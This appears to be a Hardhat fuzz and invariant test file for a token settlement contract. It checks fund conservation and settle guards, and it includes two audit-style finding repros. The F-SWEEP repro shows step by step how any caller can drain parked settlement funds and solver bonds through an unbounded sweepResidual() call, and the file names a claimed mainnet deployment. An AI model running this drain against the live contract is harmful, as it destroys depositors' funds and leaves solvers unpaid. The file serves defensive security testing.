// ============================================================================= // SEEDED RANDOMIZED PROPERTY / STATEFUL-INVARIANT fuzzing for the LIVE // AereSettlementHub (canonical mainnet 0x2a02fD80c16293D2B5D8a295F31D1a6E6a582c02 // per sdk-js/src/addresses.ts). // // Source under test: contracts/settlement/AereSettlementHub.sol — an // institutional cross-asset settlement venue: counterparties deposit() // tokenised collateral under an intentId (a 50bps immutable protocol fee is // routed to AereSink, the remainder parked), an allowlisted+bonded solver // claim()s, and after a 6h challenge window anyone settle()s to release the // parked remainder to the solver. Solvers post per-(asset,solver) bonds; the // owner may slashSolverBond(); anyone may sweepResidual(). // // TOOLCHAIN: hardhat-based randomized invariant fuzzing (NOT Foundry — `forge` // is not installed; the repo builds through hardhat with OZ 4.9.6 + viaIR). // Every random choice comes from mulberry32(seed); the base seed is printed at // suite start and pinnable via FUZZ_SEED. On any break the failing // (campaign, step, actor, action, values) is embedded in the assertion message // for a minimal repro. // // SCOPE: run this file in ISOLATION (the full suite OOM/segfaults on the // unrelated ML-DSA PQC KAT tests): // npx hardhat test test/settlementhub-netting-invariant-property.test.js // No deploy to any live node, no contract-logic change, one new test file only. // // INVARIANTS FUZZED (exactly the AereSettlementHub brief): // * NETTING CONSERVATION: every deposit splits amount = fee + parkedRemainder; // the fee leaves to the sink and the remainder is parked under the intent. // Per asset, at every step: // hubBalance == sum(parked amount of every unsettled intent) // + sum(solverBond over all solvers) // i.e. the hub holds exactly the sum of what it owes solvers plus posted // bonds — no value is minted and nothing extra can be extracted. // * DOUBLE-SETTLE: a settled intent can never be settled again (reverts // IntentAlreadySettled); the solver is paid its parked amount exactly once. // * GHOST / UNCLAIMED SETTLE: a non-existent intentId, an unclaimed intent, or // an intent still inside its challenge window can never settle. // * PAYOUT EXACTNESS: settle() transfers EXACTLY intent.amount to the recorded // solver — never more (no over-payment), and the depositor never gets a // refund path (there is none), so no party extracts more than owed. // * FEE ACCOUNTING: cumulative fees observed == sink balance == sum over // intents of (grossDeposited - parkedAmount). // * SUPPLY RECONCILIATION: total tokens ever minted to actors are conserved: // depositorBalances + hubBalance + sinkBalance + solverBalances == mintedTotal // for each asset, across interleaved deposit/claim/settle/bond/slash. // // Plus two deterministic FINDINGS at the bottom (minimal repros), NOT papered // over: (F-SWEEP) permissionless unbounded sweepResidual() drains parked // settlement funds + bonds to the sink, and (F-LOCK) an unclaimed deposit has // no refund path and is locked permanently. // // No em-dashes anywhere in this file. // ============================================================================= const { expect } = require("chai"); const { ethers, network } = require("hardhat"); const { time } = require("@nomicfoundation/hardhat-network-helpers"); /* ------------------------------- seeded PRNG ------------------------------ */ function mulberry32(a) { return function () { a |= 0; a = (a + 0x6d2b79f5) | 0; let t = Math.imul(a ^ (a >>> 15), 1 | a); t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t; return ((t ^ (t >>> 14)) >>> 0) / 4294967296; }; } const BASE_SEED = process.env.FUZZ_SEED ? Number(process.env.FUZZ_SEED) : 0x5E77_1E00; function rngFor(tag, campaign) { let h = BASE_SEED ^ (campaign * 0x9e3779b1); for (let i = 0; i < tag.length; i++) h = (Math.imul(h, 31) + tag.charCodeAt(i)) | 0; return mulberry32(h >>> 0); } const ri = (rng, min, max) => min + Math.floor(rng() * (max - min + 1)); // inclusive const pick = (rng, arr) => arr[Math.floor(rng() * arr.length)]; const chance = (rng, p) => rng() < p; /* ------------------------------- constants -------------------------------- */ const FEE_BPS = 50n; const BPS = 10_000n; const CHALLENGE_WINDOW = 6 * 60 * 60; // 6 hours in seconds const MAXU = ethers.MaxUint256; async function latestTs() { return Number((await ethers.provider.getBlock("latest")).timestamp); } // Iteration counts (env-overridable so a quick smoke can shrink them). const N = { CAMPAIGNS: Number(process.env.HUB_CAMPAIGNS || 6), STEPS: Number(process.env.HUB_STEPS || 90), }; function feeOf(amount) { const f = (amount * FEE_BPS) / BPS; // floor return { fee: f, parked: amount - f }; } // ============================================================================= describe("INVARIANT: AereSettlementHub netting conservation + settle lifecycle", function () { this.timeout(0); let signers, hubF, sinkF, erc20F; before(async function () { signers = await ethers.getSigners(); hubF = await ethers.getContractFactory("AereSettlementHub"); sinkF = await ethers.getContractFactory("MockSinkSimple"); erc20F = await ethers.getContractFactory("MockERC20Lending"); console.log( ` [hub] base seed 0x${BASE_SEED.toString(16)} | ${N.CAMPAIGNS}x${N.STEPS} interleaved multi-actor` ); }); // Fresh sink + hub + a small basket of assets with varied decimals / caps / // restriction. Owner = signers[0]. async function deployStack(rng) { const owner = signers[0]; const sink = await sinkF.deploy(); await sink.waitForDeployment(); const sinkAddr = await sink.getAddress(); const hub = await hubF.connect(owner).deploy(sinkAddr); await hub.waitForDeployment(); const hubAddr = await hub.getAddress(); // Three assets: A = 18dec unrestricted no-cap high-bond, // B = 6dec unrestricted capped low-bond, // C = 8dec RESTRICTED-recipient no-cap mid-bond. const A = await erc20F.deploy("AssetA", "AA", 18); const B = await erc20F.deploy("AssetB", "BB", 6); const C = await erc20F.deploy("AssetC", "CC", 8); for (const t of [A, B, C]) await t.waitForDeployment(); const assets = [ { tok: A, addr: await A.getAddress(), dec: 18n, cap: 0n, minBond: 10n ** 21n, restricted: false }, { tok: B, addr: await B.getAddress(), dec: 6n, cap: 5n * 10n ** 12n, minBond: 10n ** 6n, restricted: false }, { tok: C, addr: await C.getAddress(), dec: 8n, cap: 0n, minBond: 5n * 10n ** 8n, restricted: true }, ]; for (const a of assets) { await (await hub.connect(owner).listAsset(a.addr, Number(a.dec), a.minBond, a.cap, a.restricted)).wait(); } return { sink, sinkAddr, hub, hubAddr, assets, A, B, C }; } // Depositors, solvers, recipients (allowlisted for restricted asset C). function rolesFrom(signers) { return { depositors: [signers[1], signers[2], signers[3], signers[4]], solvers: [signers[5], signers[6], signers[7]], recipients: [signers[10], signers[11]], // allowlisted for restricted asset unrestrictedRecipients: [signers[12], signers[13], signers[14]], }; } async function fund(hub, hubAddr, assets, roles) { const owner = signers[0]; const everyone = [...roles.depositors, ...roles.solvers]; for (const a of assets) { // mint a big float to every actor and approve the hub for deposits + bonds. for (const s of everyone) { await (await a.tok.mint(s.address, a.dec >= 18n ? 10n ** 30n : 10n ** 24n)).wait(); await (await a.tok.connect(s).approve(hubAddr, MAXU)).wait(); } // allowlist solvers for this asset. for (const sv of roles.solvers) { await (await hub.connect(owner).setSolverAllowed(a.addr, sv.address, true)).wait(); } // for the restricted asset, allow the restricted-recipient set only. if (a.restricted) { for (const r of roles.recipients) { await (await hub.connect(owner).setRecipientAllowed(a.addr, r.address, true)).wait(); } } } } // The core invariant battery over the whole basket. `book` is our JS mirror: // book.intents: id -> {assetAddr, gross, parked, settled, solver, claimedAt} // book.ids: [id...] // book.mint[assetAddr]: cumulative minted to actors (for supply reconcile) async function assertInvariants(ctx, hub, hubAddr, sinkAddr, assets, roles, book) { for (const a of assets) { const bal = await a.tok.balanceOf(hubAddr); // parked = sum of unsettled intent amounts on this asset (read from CHAIN). let parked = 0n; let feeSum = 0n; for (const id of book.ids) { const rec = book.intents[id]; if (rec.assetAddr !== a.addr) continue; feeSum += rec.gross - rec.parked; const on = await hub.intents(id); // [depositor,asset,amount,recipient,open,settled,solver,claimedAt] // cross-check chain vs mirror. expect(on.settled, `[hub MIRROR-settled] ${ctx} id=${id}`).to.equal(rec.settled); expect(on.amount, `[hub MIRROR-amount] ${ctx} id=${id}`).to.equal(rec.parked); if (!on.settled) parked += on.amount; } // bonds = sum of solverBond over all solvers on this asset (read from CHAIN). let bonds = 0n; for (const sv of roles.solvers) bonds += await hub.solverBond(a.addr, sv.address); // ---- NETTING CONSERVATION: hub holds exactly parked + bonds. ---- expect(bal, `[hub CONSERVE] balance != parked(${parked}) + bonds(${bonds}) ${ctx} asset=${a.addr}`) .to.equal(parked + bonds); // ---- FEE ACCOUNTING: sink balance for this asset == cumulative fees. ---- const sinkBal = await a.tok.balanceOf(sinkAddr); expect(sinkBal, `[hub FEE-ACCT] sink balance != cumulative fees ${ctx} asset=${a.addr}`) .to.equal(feeSum + book.slashed[a.addr]); // ---- SUPPLY RECONCILIATION: nothing minted, nothing burned. ---- let held = bal + sinkBal; for (const s of [...roles.depositors, ...roles.solvers]) held += await a.tok.balanceOf(s.address); expect(held, `[hub SUPPLY] token supply not conserved ${ctx} asset=${a.addr}`).to.equal(book.mint[a.addr]); } } // ------------------------------------------------------------------------- it("interleaved deposit/claim/settle/bond/slash: conservation, exact payout, no double-settle", async function () { let steps = 0, deposits = 0, bonds = 0, claims = 0, settles = 0, slashes = 0, dblGuard = 0, ghostGuard = 0, earlyGuard = 0, unclaimedGuard = 0; for (let c = 0; c < N.CAMPAIGNS; c++) { const rng = rngFor("hub", c); const { sink, sinkAddr, hub, hubAddr, assets } = await deployStack(rng); const roles = rolesFrom(signers); await fund(hub, hubAddr, assets, roles); // JS mirror / bookkeeping. const book = { ids: [], intents: {}, mint: {}, // assetAddr -> total minted to actors slashed: {}, // assetAddr -> cumulative slashed-to-sink (adds to sink balance) }; for (const a of assets) { book.mint[a.addr] = (a.dec >= 18n ? 10n ** 30n : 10n ** 24n) * BigInt(roles.depositors.length + roles.solvers.length); book.slashed[a.addr] = 0n; } let idNonce = 0; const freshId = () => ethers.keccak256(ethers.toUtf8Bytes(`c${c}:${idNonce++}:${BASE_SEED}`)); await assertInvariants(`c${c} init`, hub, hubAddr, sinkAddr, assets, roles, book); for (let s = 0; s < N.STEPS; s++) { const action = pick(rng, [ "deposit", "deposit", "deposit", "bond", "bond", "claim", "claim", "settle", "settle", "slash", "advance", "challenge", ]); const ctx = `c${c} s${s} action=${action}`; try { if (action === "deposit") { const a = pick(rng, assets); const depositor = pick(rng, roles.depositors); // amount: keep under cap where present; vary scale by decimals. let amount; const unit = 10n ** a.dec; if (chance(rng, 0.2)) amount = BigInt(ri(rng, 1, 500)); // tiny (stress fee=0 floor) else amount = BigInt(ri(rng, 1, 100000)) * unit / BigInt(ri(rng, 1, 97)); if (amount === 0n) amount = 1n; if (a.cap !== 0n && amount > a.cap) amount = a.cap; const recipient = a.restricted ? pick(rng, roles.recipients).address : pick(rng, roles.unrestrictedRecipients).address; const id = freshId(); const { fee, parked } = feeOf(amount); const balBefore = await a.tok.balanceOf(hubAddr); await (await hub.connect(depositor).deposit(a.addr, amount, id, recipient)).wait(); const balAfter = await a.tok.balanceOf(hubAddr); // hub balance grew by EXACTLY the parked remainder (fee left to sink). expect(balAfter - balBefore, `[hub DEP-DELTA] parked mismatch ${ctx} amount=${amount}`).to.equal(parked); const on = await hub.intents(id); expect(on.amount, `[hub DEP-AMOUNT] stored != parked ${ctx}`).to.equal(parked); expect(on.depositor, `[hub DEP-WHO] ${ctx}`).to.equal(depositor.address); book.ids.push(id); book.intents[id] = { assetAddr: a.addr, gross: amount, parked, settled: false, solver: null, claimedAt: 0 }; deposits++; } else if (action === "bond") { const a = pick(rng, assets); const sv = pick(rng, roles.solvers); const amount = BigInt(ri(rng, 1, 100)) * (10n ** a.dec); await (await hub.connect(sv).depositSolverBond(a.addr, sv.address, amount)).wait(); bonds++; } else if (action === "claim") { // pick an unsettled, unclaimed intent; use an allowlisted solver with enough bond. const open = book.ids.filter((id) => { const r = book.intents[id]; return !r.settled && r.claimedAt === 0; }); if (open.length === 0) { steps++; continue; } const id = pick(rng, open); const rec = book.intents[id]; const a = assets.find((x) => x.addr === rec.assetAddr); // find a solver whose bond >= minBond; if none, top one up first. let chosen = null; for (const sv of roles.solvers) { const b = await hub.solverBond(a.addr, sv.address); if (b >= a.minBond) { chosen = sv; break; } } if (!chosen) { chosen = pick(rng, roles.solvers); const need = a.minBond; await (await hub.connect(chosen).depositSolverBond(a.addr, chosen.address, need)).wait(); } await (await hub.connect(chosen).claim(id, "0x1234")).wait(); const on = await hub.intents(id); rec.claimedAt = Number(on.claimedAt); rec.solver = chosen.address; claims++; // GUARD: claiming an already-claimed intent must revert. if (chance(rng, 0.5)) { let reverted = false; try { await hub.connect(chosen).claim(id, "0x"); } catch { reverted = true; } expect(reverted, `[hub GUARD dbl-claim did not revert] ${ctx} id=${id}`).to.equal(true); } } else if (action === "settle") { const now = await latestTs(); const ready = book.ids.filter((id) => { const r = book.intents[id]; return !r.settled && r.claimedAt !== 0 && now >= r.claimedAt + CHALLENGE_WINDOW; }); if (ready.length === 0) { // Opportunistically prove that a still-in-window claimed intent CANNOT settle. const early = book.ids.filter((id) => { const r = book.intents[id]; return !r.settled && r.claimedAt !== 0 && now < r.claimedAt + CHALLENGE_WINDOW; }); if (early.length > 0) { const id = pick(rng, early); let reverted = false; try { await hub.settle(id); } catch { reverted = true; } expect(reverted, `[hub GUARD early-settle did not revert] ${ctx} id=${id}`).to.equal(true); earlyGuard++; } steps++; continue; } const id = pick(rng, ready); const rec = book.intents[id]; const a = assets.find((x) => x.addr === rec.assetAddr); const solverBalBefore = await a.tok.balanceOf(rec.solver); const hubBalBefore = await a.tok.balanceOf(hubAddr); await (await hub.connect(pick(rng, roles.depositors)).settle(id)).wait(); const solverBalAfter = await a.tok.balanceOf(rec.solver); const hubBalAfter = await a.tok.balanceOf(hubAddr); // PAYOUT EXACTNESS: solver received EXACTLY parked; hub dropped EXACTLY parked. expect(solverBalAfter - solverBalBefore, `[hub PAYOUT] solver got != parked ${ctx} id=${id}`).to.equal(rec.parked); expect(hubBalBefore - hubBalAfter, `[hub PAYOUT-HUB] hub dropped != parked ${ctx} id=${id}`).to.equal(rec.parked); rec.settled = true; settles++; // GUARD: settling the same intent again must revert (no double payout). let reverted = false; try { await hub.settle(id); } catch { reverted = true; } expect(reverted, `[hub GUARD double-settle did not revert] ${ctx} id=${id}`).to.equal(true); dblGuard++; } else if (action === "slash") { const a = pick(rng, assets); const sv = pick(rng, roles.solvers); const cur = await hub.solverBond(a.addr, sv.address); if (cur === 0n) { steps++; continue; } const amt = cur === 1n ? 1n : BigInt(ri(rng, 1, Number(cur > 1_000_000n ? 1_000_000n : cur))) * cur / (cur > 1_000_000n ? 1_000_000n : cur); const slashAmt = amt === 0n ? 1n : (amt > cur ? cur : amt); await (await hub.connect(signers[0]).slashSolverBond(a.addr, sv.address, slashAmt)).wait(); book.slashed[a.addr] += slashAmt; // slashed funds land in the sink slashes++; } else if (action === "advance") { await time.increase(ri(rng, 60, CHALLENGE_WINDOW + 2 * 3600)); // sometimes past the window await network.provider.send("evm_mine"); } else if (action === "challenge") { // challenge only emits an event on a claimed, in-window intent. Exercise it. const now = await latestTs(); const inWin = book.ids.filter((id) => { const r = book.intents[id]; return !r.settled && r.claimedAt !== 0 && now < r.claimedAt + CHALLENGE_WINDOW; }); if (inWin.length > 0) { await (await hub.challenge(pick(rng, inWin), "fuzz-reason")).wait(); } } } catch (e) { if (/hub [A-Z]/.test(String(e.message))) throw e; // never swallow an invariant break // Legal reverts on edge inputs (rounding to fee=0, cap clamps, etc.). } // Occasional GHOST-settle guard: a random never-created id must not settle. if (chance(rng, 0.15)) { const ghost = ethers.keccak256(ethers.toUtf8Bytes(`ghost:${c}:${s}:${idNonce}`)); let reverted = false; try { await hub.settle(ghost); } catch { reverted = true; } expect(reverted, `[hub GUARD ghost-settle did not revert] ${ctx}`).to.equal(true); ghostGuard++; } // Occasional UNCLAIMED-settle guard: a deposited-but-never-claimed intent must not settle. if (chance(rng, 0.15)) { const unclaimed = book.ids.filter((id) => { const r = book.intents[id]; return !r.settled && r.claimedAt === 0; }); if (unclaimed.length > 0) { let reverted = false; try { await hub.settle(pick(rng, unclaimed)); } catch { reverted = true; } expect(reverted, `[hub GUARD unclaimed-settle did not revert] ${ctx}`).to.equal(true); unclaimedGuard++; } } await assertInvariants(ctx, hub, hubAddr, sinkAddr, assets, roles, book); steps++; } // ---- finale: advance well past every window and settle everything claimed. ---- await time.increase(CHALLENGE_WINDOW + 8 * 3600); await network.provider.send("evm_mine"); for (const id of book.ids) { const rec = book.intents[id]; if (!rec.settled && rec.claimedAt !== 0) { const a = assets.find((x) => x.addr === rec.assetAddr); const before = await a.tok.balanceOf(rec.solver); await (await hub.settle(id)).wait(); expect((await a.tok.balanceOf(rec.solver)) - before, `[hub FINALE-PAYOUT] c${c} id=${id}`).to.equal(rec.parked); rec.settled = true; } } await assertInvariants(`c${c} finale`, hub, hubAddr, sinkAddr, assets, roles, book); } console.log( ` [hub] steps=${steps} dep=${deposits} bond=${bonds} claim=${claims} settle=${settles} ` + `slash=${slashes} | guards: dbl=${dblGuard} ghost=${ghostGuard} early=${earlyGuard} unclaimed=${unclaimedGuard}` ); expect(steps).to.be.greaterThan(400); expect(deposits).to.be.greaterThan(60); expect(settles).to.be.greaterThan(10); expect(dblGuard + ghostGuard).to.be.greaterThan(0); }); // ------------------------------------------------------------------------- // FINDING (F-SWEEP): sweepResidual() is permissionless AND unbounded. Its // NatSpec intent is to re-flush ONLY residual fees that could not reach the // sink on their first attempt. But it accepts an ARBITRARY `amount` from ANY // caller and simply approves+flushes it to the sink. There is no accounting of // what is actually "residual" versus committed. When the sink accepts (the // normal case), a griefer can sweep the parked settlement funds (money owed to // a solver for a real, claimed intent) and/or posted solver bonds straight into // the sink. The hub becomes insolvent: the honest settle() then reverts // TransferFailed and the depositor's funds are gone (burned into the sink), // never delivered. Reachable by any EOA on mainnet. it("FINDING (F-SWEEP): permissionless unbounded sweepResidual drains parked funds + bonds, bricks settle", async function () { const [owner, depositor, solver, griefer, recip] = signers; const { sink, sinkAddr, hub, hubAddr } = await deployStack(); // one unrestricted 18-dec asset, no cap, minBond = 1e18. const T = await erc20F.deploy("Tok", "TK", 18); await T.waitForDeployment(); const tokAddr = await T.getAddress(); await (await hub.connect(owner).listAsset(tokAddr, 18, 10n ** 18n, 0, false)).wait(); await (await hub.connect(owner).setSolverAllowed(tokAddr, solver.address, true)).wait(); for (const s of [depositor, solver, griefer]) { await (await T.mint(s.address, 10n ** 24n)).wait(); await (await T.connect(s).approve(hubAddr, MAXU)).wait(); } // A real settlement in flight: depositor deposits 1000e18, solver bonds + claims. const amount = 1000n * 10n ** 18n; const { fee, parked } = feeOf(amount); const id = ethers.keccak256(ethers.toUtf8Bytes("sweep-victim")); await (await hub.connect(depositor).deposit(tokAddr, amount, id, recip.address)).wait(); await (await hub.connect(solver).depositSolverBond(tokAddr, solver.address, 10n ** 18n)).wait(); await (await hub.connect(solver).claim(id, "0xabcd")).wait(); // Hub now holds parked (995e18) + bond (1e18). The fee (5e18) already left to the sink. const heldBefore = await T.balanceOf(hubAddr); expect(heldBefore, "[F-SWEEP precheck] hub holdings").to.equal(parked + 10n ** 18n); const sinkBefore = await T.balanceOf(sinkAddr); // GRIEF: anyone calls sweepResidual for the FULL hub balance. Nothing was // actually residual (the sink already took the fee), yet it flushes the // solver's parked settlement money + the bond into the sink. await (await hub.connect(griefer).sweepResidual(tokAddr, heldBefore)).wait(); const heldAfter = await T.balanceOf(hubAddr); const sinkAfter = await T.balanceOf(sinkAddr); expect(heldAfter, "[F-SWEEP] hub not drained").to.equal(0n); expect(sinkAfter - sinkBefore, "[F-SWEEP] funds did not move to sink").to.equal(heldBefore); // The intent is still live and claimed; advance past the window and settle. // It now reverts because the hub has no tokens left: the depositor's money is // gone (burned to the sink) and the solver is never paid. await time.increase(CHALLENGE_WINDOW + 60); await network.provider.send("evm_mine"); let settleReverted = false; try { await hub.settle(id); } catch { settleReverted = true; } expect(settleReverted, "[F-SWEEP] settle unexpectedly succeeded after drain").to.equal(true); // The intent is permanently unsettleable (funds neither with solver nor refundable). const on = await hub.intents(id); expect(on.settled, "[F-SWEEP] intent should remain unsettled/stuck").to.equal(false); console.log( ` [hub F-SWEEP] drained=${ethers.formatEther(heldBefore)} tokens to sink; ` + `settle now reverts -> depositor funds burned, solver unpaid, intent bricked.` ); }); // ------------------------------------------------------------------------- // FINDING (F-LOCK): there is NO refund / cancel / timeout path for a deposited // intent that no solver ever claims. deposit() pulls the funds and parks them; // the ONLY exit is settle(), which requires a prior claim() by an allowlisted // bonded solver. If no solver ever claims (asset paused, solver set removed, // or simply nobody bothers), the depositor's parked funds are locked forever. // Not a value mint, but a permanent-lock / liveness defect worth recording. it("FINDING (F-LOCK): an unclaimed deposit has no refund path and is locked permanently", async function () { const [owner, depositor, , , recip] = signers; const { hub, hubAddr } = await deployStack(); const T = await erc20F.deploy("Tok", "TK", 18); await T.waitForDeployment(); const tokAddr = await T.getAddress(); await (await hub.connect(owner).listAsset(tokAddr, 18, 10n ** 18n, 0, false)).wait(); await (await T.mint(depositor.address, 10n ** 24n)).wait(); await (await T.connect(depositor).approve(hubAddr, MAXU)).wait(); const amount = 500n * 10n ** 18n; const { parked } = feeOf(amount); const id = ethers.keccak256(ethers.toUtf8Bytes("lock-victim")); const balBefore = await T.balanceOf(depositor.address); await (await hub.connect(depositor).deposit(tokAddr, amount, id, recip.address)).wait(); // Depositor is out `amount`; hub holds `parked`. No solver claims (ever). expect(balBefore - (await T.balanceOf(depositor.address)), "[F-LOCK] depositor debit").to.equal(amount); // Time passes arbitrarily. There is no cancel()/refund()/withdraw() to call. await time.increase(365 * 24 * 3600); await network.provider.send("evm_mine"); // settle() cannot run (never claimed): the funds are stuck in the hub. let reverted = false; try { await hub.settle(id); } catch { reverted = true; } expect(reverted, "[F-LOCK] settle should revert on an unclaimed intent").to.equal(true); expect(await T.balanceOf(hubAddr), "[F-LOCK] parked funds still trapped in hub").to.equal(parked); // Confirm the contract truly exposes no depositor-side exit (surface check). const fns = hub.interface.fragments.filter((f) => f.type === "function").map((f) => f.name); for (const forbidden of ["cancel", "refund", "reclaim", "withdrawIntent"]) { expect(fns.includes(forbidden), `[F-LOCK] unexpected refund fn ${forbidden}`).to.equal(false); } console.log( ` [hub F-LOCK] deposited ${ethers.formatEther(amount)}, ${ethers.formatEther(parked)} parked; ` + `no claim ever -> no refund path exists, funds locked permanently.` ); }); });